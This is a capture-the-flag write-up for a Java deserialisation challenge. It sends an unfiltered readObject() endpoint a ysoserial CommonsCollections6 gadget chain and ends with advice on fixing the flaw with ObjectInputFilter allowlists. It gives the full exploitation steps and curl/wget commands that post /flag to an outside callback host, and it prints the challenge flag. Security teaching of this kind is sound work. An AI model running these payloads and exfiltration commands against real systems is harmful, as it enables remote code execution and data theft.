java notes
commons-collections 3.2.1 on the classpath and an unfiltered readObject(), so CC6 gives blind RCE exfiltrated with curl's --data-binary.
K17{i_am_java_ONE_with_java!!!!oashd8aghrdfo8aehFIOEASDJFNLC} If you’re stuck on this one, check the dependency list before looking anywhere else in the code. A specific library version on the classpath is usually the entire story for a Java deserialisation challenge, and it was here too.
The challenge
handout.zip contains Dockerfile, pom.xml, and Main.java — a small Java HTTP server. One dependency matters:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
The server exposes four endpoints:
GET /— the notes UIGET /api/export— serialises a demo session, hands it back as a base64 tokenPOST /api/save— builds a session from a name/note, issues a tokenPOST /api/restore— feeds the base64 token straight intoObjectInputStream.readObject()
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(raw))) {
Object obj = ois.readObject(); // <-- the bug
if (obj instanceof Session) { ... }
}
The vulnerability
Fully attacker-controlled bytes reach readObject(), and commons-collections 3.2.1 is on the classpath — the precondition for the well-known CommonsCollections gadget chains distributed with ysoserial.
CC1 (the older chain, via AnnotationInvocationHandler) was patched out in JDK 8u71+. CC6 only needs HashSet / HashMap / TiedMapEntry, so it still works on JDK 11:
ObjectInputStream.readObject()
-> HashSet.readObject() -> HashMap.put() -> HashMap.hash()
-> TiedMapEntry.hashCode() -> TiedMapEntry.getValue()
-> LazyMap.get() -> ChainedTransformer.transform()
-> InvokerTransformer(...) -> Method.invoke()
-> Runtime.exec(command)
While deserialising, readObject() calls hashCode() on the HashSet’s entries as part of rebuilding the hash table — ordinary behaviour for any HashSet. Substituting a TiedMapEntry for that entry means one such hashCode() call detonates the whole transformer chain hanging off the LazyMap, which is Runtime.exec.
Once readObject() returns, the resulting object is a HashSet, not a Session, so the server responds “that token is not a session.” That response is correct and also irrelevant to whether the exploit worked — by the time it’s sent, the command has already run.
Constraint: exec(String) is not a shell
Runtime.exec(String command) only does naive whitespace tokenisation; it does not interpret shell metacharacters (|, >, $(), backticks). So redirection such as cat /flag.txt > /dev/tcp/... does not work — the payload is limited to “a binary plus space-separated arguments.” That makes this a blind RCE: nothing comes back in the HTTP response body regardless of whether the command succeeded.
Exfiltration used curl/wget’s file-upload flags instead, since both work as a flat argument list with no shell involved:
curl -s -X POST --data-binary @/flag https://<callback>/exfil/curl
wget --post-file=/flag -O /dev/null https://<callback>/exfil/wget
Exploitation steps
1. Build the gadget. ysoserial’s CommonsCollections6 implements the HashSet/TiedMapEntry reflection directly, so there’s no need to hand-roll it. Running ysoserial on a modern JDK (25) requires --add-opens flags to get past the module system:
java --add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections6 \
"curl -s -X POST --data-binary @/flag https://<callback>/exfil" \
> payload.bin
2. Out-of-band callback channel. cloudflared tunnel --url http://localhost:8899 exposes a local HTTP listener on a public URL and logs the request body, giving a quick way to receive exfiltrated data without standing up infrastructure.
3. Deliver:
b64=$(base64 -i payload.bin | tr -d '\n')
curl -X POST "$TARGET/api/restore" -H 'Content-Type: text/plain' --data "$b64"
The response, that token is not a session, is the expected outcome: the deserialised object really is a HashSet and fails the instanceof Session check. That response is itself the signal that deserialisation — and therefore the gadget chain — actually completed.
4. A POST /exfil/curl request lands on the callback server carrying the contents of /flag:
K17{i_am_java_ONE_with_java!!!!oashd8aghrdfo8aehFIOEASDJFNLC}
Takeaways
- The moment untrusted input reaches
ObjectInputStream.readObject(), everySerializableclass on the classpath becomes attack surface — one copy of commons-collections is enough. - The fix is either to avoid
readObject()entirely (use JSON or similar), or, if deserialisation of Java objects is unavoidable, to constrain deserialisable classes with anObjectInputFilterallowlist (JEP 290, Java 9+). This challenge had no filter at all. exec(String)is not a shell, so RCE reached this way is blind by default. curl/wget’s--data-binary @file/--post-file=flags are reliable one-liners for exfiltrating a whole file without needing shell syntax.